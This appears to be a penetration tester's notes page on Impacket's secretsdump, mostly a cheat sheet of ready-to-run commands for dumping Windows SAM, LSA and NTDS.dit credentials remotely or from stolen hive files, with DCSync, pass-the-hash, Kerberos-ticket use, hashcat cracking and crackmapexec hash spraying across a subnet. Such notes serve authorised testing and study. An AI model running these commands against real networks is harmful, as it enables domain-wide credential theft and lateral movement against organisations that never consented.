Impacket — secretsdump
What does secretsdump do?
secretsdump.py remotely extracts credentials from Windows:
- SAM — local account NT hashes (see Registry Hives and Linux Equivalents — needs SYSTEM hive offline)
- LSA secrets — service account passwords, machine account
- Cached domain creds —
$MACHINE.ACC, cached logons - NTDS.dit — all domain user hashes (from DC, requires admin/DA) — NTDS.dit (what it is)
Ctrl+F:
LOCAL·ntds.dit·SECURITY·SYSTEM·-just-dc-ntlm·DCSync
External: Internal All The Things — NTDS Dumping
Source: github.com/fortra/impacket — examples/secretsdump.py · Overview: Core Security — Impacket
Syntax
impacket-secretsdump [domain/]user:password@TARGET [options]
impacket-secretsdump user@TARGET -hashes ':NT_HASH' [options]
impacket-secretsdump -sam SAM -system SYSTEM LOCAL # offline📌 Flags
| Flag | Description |
|---|---|
-just-dc | Dump only from NTDS.dit (DC target) |
-just-dc-user USER | Dump single user from NTDS |
-just-dc-ntlm | NTDS dump — NTLM hashes only (no Kerberos keys) |
-just-dc-kerb | NTDS dump — Kerberos keys only |
-use-vss | Use Volume Shadow Copy for NTDS (stealthier) |
-use-keylist | Use Key List attack (DRSUAPI) — DCSync-style |
-pwd-last-set | Show password last set time |
-user-status | Show if account enabled/disabled |
-history | Include password history hashes |
-outputfile FILE | Save output to file |
-hashes LM:NT | Pass-the-Hash |
-k | Kerberos |
-no-pass | No password |
-dc-ip IP | DC IP for domain operations |
-target-ip IP | Target IP override |
Offline mode flags
| Flag | Description |
|---|---|
-sam FILE | Local SAM hive file |
-system FILE | Local SYSTEM hive file |
-security FILE | SECURITY hive (LSA secrets) |
-ntds FILE | NTDS.dit file (offline domain dump) |
LOCAL | Keyword for offline parsing |
📌 Remote Dump — Local Hashes
# Full dump (SAM + LSA + cached)
impacket-secretsdump domain/admin:password@10.10.10.10
# Pass-the-Hash
impacket-secretsdump administrator@10.10.10.10 -hashes ':NT_HASH'
# Save to file
impacket-secretsdump domain/admin:password@10.10.10.10 -outputfile hashes.txtOutput format
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
bob:1001:aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c:::
Format: username:RID:LM:NT:::
Use the NT hash (4th field) for Pass-the-Hash with
impacket-wmiexec,crackmapexec, etc.
📌 Remote Dump — Domain (DC)
Requires Domain Admin or account with DCSync rights (Replicating Directory Changes):
→ BloodHound edge / grant rights: DCSync · WriteDacl
# All domain NTLM hashes
impacket-secretsdump domain/administrator:password@DC_IP -just-dc-ntlm
# Full NTDS (includes Kerberos keys)
impacket-secretsdump domain/administrator:password@DC_IP -just-dc
# Single user
impacket-secretsdump domain/administrator:password@DC_IP -just-dc-user krbtgt
# Pass-the-Hash (PTH as DA)
impacket-secretsdump administrator@DC_IP -hashes ':DA_NTHASH' -just-dc-ntlm
# With output file
impacket-secretsdump domain/admin:pass@DC_IP -just-dc-ntlm -outputfile domain_hashes.txt📌 Kerberos authentication (-k)
After impacket-getTGT or ticketer — dump with ticket instead of password/hash.
export KRB5CCNAME=svc_backup.ccache
# secretsdump.py -k -no-pass dc01.inlanefreight.local
impacket-secretsdump -k -no-pass RESOURCEDC.RESOURCED.LOCAL
# Local hashes on any admin host
impacket-secretsdump -k -no-pass corp.local/svc_backup@TARGET -dc-ip DC_IP
# DCSync — all domain NTLM (DC + DCSync rights)
impacket-secretsdump -k -no-pass corp.local/svc_backup@DC_IP -just-dc-ntlm
# Full NTDS (Kerberos keys included)
impacket-secretsdump -k -no-pass corp.local/svc_backup@DC_IP -just-dcTicket workflow → Use Kerberos Ticket · Kerberos Setup - krb5.conf · Time Sync-Clock Skew
📌 Offline Dump (Grabbed hive files)
When you have SAM + SYSTEM from Potato Attacks, reg save, or volume shadow copy:
# From reg save on target:
# reg save HKLM\SAM C:\Temp\SAM
# reg save HKLM\SYSTEM C:\Temp\SYSTEM
# Download both files, then:
impacket-secretsdump -sam SAM -system SYSTEM LOCAL
impacket-secretsdump -sam SAM -system SYSTEM -security SECURITY LOCAL
# Offline NTDS.dit (from DC backup, VSS, diskshadow, wbadmin — [[SeBackupPrivilege]])
# Copy to Kali same directory: ntds.dit · SYSTEM · SECURITY (from reg save or shadow copy)
# Primary offline parse — all three hives (Kali: impacket-secretsdump or secretsdump.py)
impacket-secretsdump LOCAL -system SYSTEM -security SECURITY -ntds ntds.dit
secretsdump.py LOCAL -system SYSTEM -security SECURITY -ntds ntds.dit
# Variants
impacket-secretsdump -ntds ntds.dit -system SYSTEM -security SECURITY LOCAL -just-dc-ntlm
impacket-secretsdump -ntds ntds.dit -system SYSTEM LOCAL -just-dc-ntlm
impacket-secretsdump -system system -ntds ntds.dit LOCAL| Hive | Why needed |
|---|---|
| ntds.dit | AD database — all domain hashes |
| SYSTEM | Boot key to decrypt SAM/NTDS |
| SECURITY | $MACHINE.ACC / LSA secrets tied to domain controller |
→ Grab hives via diskshadow · robocopy · SeBackupPrivilege · evil-winrm download
📌 After Dumping — What to Do
# Pass-the-Hash with extracted hash
impacket-wmiexec administrator@OTHER_HOST -hashes ':EXTRACTED_NTHASH'
# Crack if needed (mode 1000 = NTLM)
hashcat -m 1000 hashes.txt /usr/share/wordlists/rockyou.txt
# CrackMapExec spray across subnet
crackmapexec smb 10.10.10.0/24 -u Administrator -H NTHASH📌 Quick Cheat Sheet
# ─── LOCAL HASHES (admin on any Windows box) ──────────────────
impacket-secretsdump domain/user:pass@TARGET
impacket-secretsdump admin@TARGET -hashes ':NTHASH'
# ─── ALL DOMAIN HASHES (DA on DC) ─────────────────────────────
impacket-secretsdump domain/admin:pass@DC_IP -just-dc-ntlm
impacket-secretsdump admin@DC_IP -hashes ':NTHASH' -just-dc-ntlm
# ─── KERBEROS TICKET → [[Use Kerberos Ticket]] ─────────────────
export KRB5CCNAME=user.ccache
impacket-secretsdump -k -no-pass corp.local/user@DC_IP -just-dc-ntlm
# ─── OFFLINE (SAM + SYSTEM files) ─────────────────────────────
impacket-secretsdump -sam SAM -system SYSTEM LOCAL
# ─── OFFLINE NTDS (SYSTEM + SECURITY + ntds.dit) ──────────────
impacket-secretsdump LOCAL -system SYSTEM -security SECURITY -ntds ntds.dit
secretsdump.py LOCAL -system SYSTEM -security SECURITY -ntds ntds.dit
impacket-secretsdump -ntds ntds.dit -system SYSTEM -security SECURITY LOCAL -just-dc-ntlm